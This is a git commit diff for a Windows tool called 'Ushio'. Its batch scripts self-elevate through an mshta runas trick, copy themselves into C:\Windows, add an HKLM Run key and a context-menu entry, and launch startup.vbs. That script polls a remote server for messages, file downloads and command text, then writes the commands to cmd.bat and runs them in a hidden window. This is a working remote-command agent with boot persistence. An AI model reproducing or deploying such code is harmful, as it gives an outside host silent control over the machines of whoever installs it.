master
iotcat 4 years ago
parent 6d7cffa38a
commit 8f6f443693
  1. 26
      bin/clear.bat
  2. 46
      bin/fix.bat
  3. 57
      bin/shell.bat
  4. 26
      dist/install.bat
  5. 104
      dist/startup.vbs
  6. 11
      install.bat
  7. 3
      lib/reg/right_key.bat
  8. 1
      lib/reg/right_key_del.bat
  9. 14
      lib/reg/set_path.bat
  10. 1
      lib/reg/startup.bat
  11. 1
      lib/reg/startup_del.bat
  12. 2
      lib/utilities/exec_command.bat
  13. BIN
      media/img/head3r.ico
  14. 2
      src/reg.bat
  15. 6
      test/for.bat
  16. 11
      test/get.vbs
  17. 5
      test/hostname.vbs
  18. 5
      test/min.bat

@ -0,0 +1,26 @@
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
@echo off
setlocal enabledelayedexpansion
cd /d "%~dp0" && cd ..
echo Set ENV...
set ushio=C:\Ushio
set ushio_bck=C:\Windows\Ushio
set src=%ushio%\src
set var=%ushio%\var
set etc=%ushio%\etc
set bin=%ushio%\bin
set opt=%ushio%\opt
set log=%var%\log
set cache=%var%\cache
set lib=%src%\lib
echo Remove reg...
call %lib%\reg\startup_del.bat>nul
call %lib%\reg\right_key_del.bat>nul
echo Stop service..
taskkill /F /IM wscript.exe
echo Remove files...
rd /S /Q %ushio_bck% %src%>nul

@ -0,0 +1,46 @@
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
@echo off
setlocal enabledelayedexpansion
cd /d "%~dp0" && cd ..
echo Set ENV
set ushio=C:\Ushio
set ushio_bck=C:\Windows\Ushio
set src=%ushio%\src
set var=%ushio%\var
set etc=%ushio%\etc
set bin=%ushio%\bin
set opt=%ushio%\opt
set log=%var%\log
set cache=%var%\cache
set download=%var%\download
set lib=%src%\lib
echo Build files...
:md_ushio
if '%~dp0'=='%src%\bin' goto :md_ushio_bck
if not exist %ushio% md %ushio%
if not exist %var% md %var%
if not exist %etc% md %etc%
if not exist %bin% md %bin%
if not exist %opt% md %opt%
if not exist %log% md %log%
if not exist %cache% md %cache%
if not exist %download% md %download%
if not exist %src% md %src%
xcopy /Y /Q /E . %ushio%\src>nul
if '%~dp0'=='%ushio_bck%\bin' goto :reg
:md_ushio_bck
if not exist %ushio_bck% md %ushio_bck%
xcopy /Y /Q /E . %ushio_bck%>nul
goto :reg
echo Set reg...
:reg
call %lib%\reg\startup.bat>nul
call %lib%\reg\right_key.bat>nul
call %lib%\reg\set_path.bat>nul
echo Start service..
start %src%\dist\startup.vbs

@ -0,0 +1,57 @@
@echo off
:home
cls
set /P id=<C:\Ushio\etc\id
echo.
echo. ID: %id%
echo. Welcome to Ushio Shell!!
echo.
echo. Please select your action:
echo. 1. Clear Download
echo. 2. Clear Cache
echo. 3. Restart Service
echo. 4. Exit
echo.
set /p a=Your select =
if /i '%a%'=='1' goto :clear_download
if /i '%a%'=='2' goto :clear_cache
if /i '%a%'=='3' goto :restart_service
if /i '%a%'=='4' exit
echo. Unknown Input....
goto home
:clear_download
cls
echo.
echo. Please wait...
del /F /S /Q C:\Ushio\var\download>nul
echo.
echo. Download Cleared!!
pause
goto :home
:clear_cache
cls
echo.
echo. Please wait...
del /F /S /Q C:\Ushio\var\cache>nul
echo.
echo. Cache Cleared!!
pause
goto :home
:restart_service
cls
echo.
echo. Stop service...
taskkill /F /IM wscript.exe
echo.
echo. Start service..
start C:\Ushio\src\dist\startup.vbs
echo.
echo. Service restarted successfully!!
echo.
pause
goto :home

26
dist/install.bat vendored

@ -1,26 +0,0 @@
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
@echo off
setlocal enabledelayedexpansion
cd /d "%~dp0"
set ushio=C:\Ushio
set ushio_bck=C:\Windows\Ushio
:md_ushio
if '%~dp0'=='%ushio%' goto :md_ushio_bck
if not exist %ushio% md %ushio%
xcopy /Y /Q /E ..\. %ushio%
if '%~dp0'=='%ushio_bck%' goto :reg
:md_ushio_bck
if not exist %ushio_bck% md %ushio_bck%
xcopy /Y /Q /E ..\. %ushio_bck%
goto :reg
:reg
call %ushio%\src\reg.bat

104
dist/startup.vbs vendored

@ -0,0 +1,104 @@
On Error Resume Next
Set sh = WScript.CreateObject("WScript.Shell")
Set http = CreateObject("Msxml2.ServerXMLHTTP")
set fs = CreateObject("Scripting.FileSystemObject")
dim msg, oldmsg, id, cmd, oldcmd, url, oldurl, fname
if fs.FileExists("C:\Ushio\etc\id") then
set f = fs.OpenTextFile("C:\Ushio\etc\id", 1, false)
id=f.readall
f.Close()
else
do while 1
http.Open "GET","https://ushio-win.yimian.xyz/getId",0
http.send()
if http.status=200 Then
id=http.responsetext
set f = fs.CreateTextFile("C:\Ushio\etc\id", true)
f.Write(id)
f.Close()
exit do
else
WScript.Sleep 5000
end if
loop
end if
if fs.FileExists("C:\Ushio\var\cache\msg") then
set f = fs.OpenTextFile("C:\Ushio\var\cache\msg", 1, false)
msg=f.readall
f.Close()
end if
if fs.FileExists("C:\Ushio\var\cache\cmd.bat") then
set f = fs.OpenTextFile("C:\Ushio\var\cache\cmd.bat", 1, false)
cmd=f.readall
f.Close()
end if
if fs.FileExists("C:\Ushio\var\cache\url") then
set f = fs.OpenTextFile("C:\Ushio\var\cache\url", 1, false)
url=f.readall
f.Close()
end if
do while 1
oldmsg=msg
http.Open "GET","https://ushio-win.yimian.xyz/getMsg?id="+id,0
http.send()
if http.status=200 Then
msg=http.responsetext
end if
if oldmsg<>msg Then
msgbox msg,4096,"Ushio Message"
set f = fs.CreateTextFile("C:\Ushio\var\cache\msg", true)
f.Write(msg)
f.Close()
end if
WScript.Sleep 5000
oldurl=url
http.Open "GET","https://ushio-win.yimian.xyz/getDownload?id="+id,0
http.send()
if http.status=200 Then
url=http.responsetext
end if
if oldurl<>url Then
set f = fs.CreateTextFile("C:\Ushio\var\cache\url", true)
f.Write(url)
f.Close()
http.Open "GET",url,0
http.send()
fname=Split(url, "/")
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(http.responseBody)
aGet.SaveToFile "C:\Ushio\var\download\"+fname(ubound(fname)),2
aGet.Close()
end if
WScript.Sleep 1000
oldcmd=cmd
http.Open "GET","https://ushio-win.yimian.xyz/getCmd?id="+id,0
http.send()
if http.status=200 Then
cmd=http.responsetext
end if
if oldcmd<>cmd Then
set f = fs.CreateTextFile("C:\Ushio\var\cache\cmd.bat", true)
f.Write(cmd)
f.Close()
sh.run "C:\Ushio\var\cache\cmd.bat",0
end if
WScript.Sleep 9000
loop

@ -1,17 +1,20 @@
@echo off
set ushio=C:\Ushio
set src=%ushio%\src
if not exist %ushio% md %ushio%
if not exist %src% md %src%
xcopy /Y /Q /E . %ushio%
call %ushio%\dist\install.bat
xcopy /Y /Q /E . %src%
cls
echo.
echo. Ushio install finished!!
echo. Ushio is installing!!
echo.
echo. IoTcat(http://iotcat.me)
echo.
echo.
call %src%\bin\fix.bat
pause

@ -0,0 +1,3 @@
reg add HKEY_CLASSES_ROOT\Directory\Background\shell\ushio /f /ve /t REG_SZ /d "Ushio Shell"
reg add HKEY_CLASSES_ROOT\Directory\Background\shell\ushio /f /v icon /t REG_SZ /d "E:\git\ushio-win-systemd\media\img\head3r.ico"
reg add HKEY_CLASSES_ROOT\Directory\Background\shell\ushio\command /f /ve /t REG_SZ /d "%ushio%\src\bin\shell.bat"

@ -0,0 +1 @@
reg delete HKEY_CLASSES_ROOT\Directory\Background\shell\ushio /f

@ -0,0 +1,14 @@
set command=reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH
call %lib%\utilities\exec_command.bat
set res=%res:~29,800%
echo %res% | findstr /c:"%bin%">nul
if %errorlevel% equ 0 goto :end_path
set /a errorlevel=0
echo %PATH% | findstr /c:"%res:~0,15%">nul
if %errorlevel% equ 1 goto :end_path
set res=%res%;%bin%
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /f /v Path /t REG_EXPAND_SZ /d "%res%"
:end_path

@ -0,0 +1 @@
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v ushio /t REG_SZ /d "%ushio%\dist\startup.vbs"

@ -0,0 +1 @@
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v ushio

@ -0,0 +1,2 @@
rem var %command% in, %res% out
for /F "delims=" %%i in ('%command%') do ( set res=%%i)

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

@ -1,2 +0,0 @@
@echo off
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v ushio /t REG_SZ /d "%ushio%\dist\startup.vbs"

@ -0,0 +1,6 @@
@echo off
for /F "delims=" %%i in ('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH') do ( set commitid=%%i)
rem echo %commitid%
set t=%commitid:~29,800%
echo %t%This is ENDD
pause

@ -0,0 +1,11 @@
Set sh = WScript.CreateObject("WScript.Shell")
Set http = CreateObject("Msxml2.ServerXMLHTTP")
do while 1
http.Open "GET","https://www.google.com",0
http.send()
if http.status=200 Then
msgbox http.responsetext
end if
WScript.Sleep 5000
loop

@ -0,0 +1,5 @@
Set wshshell = CreateObject("wscript.network")
hostname=wshshell.username
msgbox hostname

@ -0,0 +1,5 @@
@if "%~1"=="y" goto begin
start /min cmd /c "%~f0" y&exit
:begin
@echo off
pause
Loading…
Cancel
Save